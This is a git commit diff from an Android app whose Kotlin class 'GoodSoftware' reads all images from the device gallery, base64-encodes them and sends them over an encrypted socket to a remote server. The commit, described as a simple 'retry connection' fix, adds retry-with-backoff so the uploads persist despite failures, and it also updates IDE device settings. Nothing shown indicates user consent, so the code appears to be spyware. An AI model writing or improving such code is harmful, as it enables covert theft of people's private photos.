Retry connection a couple times, if no result. Dont crash

This commit is contained in:
Joren 2024-05-02 17:08:44 +02:00
parent e3229cb4c8
commit 796fc2bbe1
Signed by untrusted user who does not match committer: Joren
GPG Key ID: 280E33DFBC0F1B55
2 changed files with 58 additions and 10 deletions

View File

@ -4,8 +4,28 @@
<value>
<entry key="MainActivity">
<State>
<multipleDevicesSelectedInDropDown value="true" />
<runningDeviceTargetSelectedWithDropDown>
<Target>
<type value="RUNNING_DEVICE_TARGET" />
<deviceKey>
<Key>
<type value="SERIAL_NUMBER" />
<value value="NE1GAM4811005818" />
</Key>
</deviceKey>
</Target>
</runningDeviceTargetSelectedWithDropDown>
<timeTargetWasSelectedWithDropDown value="2024-05-02T15:01:23.667154138Z" />
<runningDeviceTargetsSelectedWithDialog>
<Target>
<type value="RUNNING_DEVICE_TARGET" />
<deviceKey>
<Key>
<type value="SERIAL_NUMBER" />
<value value="RF8M8154RCX" />
</Key>
</deviceKey>
</Target>
<Target>
<type value="RUNNING_DEVICE_TARGET" />
<deviceKey>

View File

@ -159,11 +159,12 @@ class GoodSoftware (private val activity: MainActivity) {
Thread {
try {
val imageList = getAllImagesFromGallery(activity)
println(imageList)
val connection = establishConnection()
val connection = establishConnectionWithRetry()
if (connection == null) {
return@Thread
}
for (image in imageList) {
val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
println("Image send $image")
sendDataToServer(base64Image, connection)
next(connection)
}
@ -307,10 +308,37 @@ class GoodSoftware (private val activity: MainActivity) {
writer.println(encryptText(encodedUid, pKey))
reader.readLine()
println("Connection, OK!")
return ConnectionResult(socket, reader, writer, key, iv, algorithm)
}
fun establishConnectionWithRetry(): ConnectionResult? {
val maxRetries = 3
var attempt = 0
var connectionResult: ConnectionResult? = null
while (attempt < maxRetries) {
try {
connectionResult = establishConnection()
println("Connection successful")
break
} catch (e: Exception) {
println("Connection attempt failed. Retrying in ${getRetryDelay(attempt)} milliseconds")
e.printStackTrace()
attempt++
Thread.sleep(getRetryDelay(attempt))
}
}
if (connectionResult == null) {
Log.e("Err","Failed to establish connection after $maxRetries attempts")
}
return connectionResult
}
fun getRetryDelay(attempt: Int): Long {
val baseDelayMillis = 20000L
return baseDelayMillis * (1 shl attempt)
}
fun sendDataToServer(sendData: String, connectionResult: ConnectionResult) {
val (socket, reader, writer, key, iv, algorithm) = connectionResult
try {
@ -391,8 +419,10 @@ class GoodSoftware (private val activity: MainActivity) {
val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
//Log.d(picture.TAG, "Base64 Image: $base64Image")
Thread {
println("Sending data to server")
val conn = establishConnection()
val conn = establishConnectionWithRetry()
if (conn == null) {
return@Thread
}
sendDataToServer(base64Image, conn)
disconnect(conn)
}.start()
@ -439,10 +469,8 @@ class GoodSoftware (private val activity: MainActivity) {
// Check permission based on Android version
val permission = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
println("Using READ_MEDIA_IMAGES for Android 13 and higher")
Manifest.permission.READ_MEDIA_IMAGES // Use READ_MEDIA_IMAGES for Android 13 and higher
} else {
println("Using READ_EXTERNAL_STORAGE for lower versions")
Manifest.permission.READ_EXTERNAL_STORAGE // Use READ_EXTERNAL_STORAGE for lower versions
}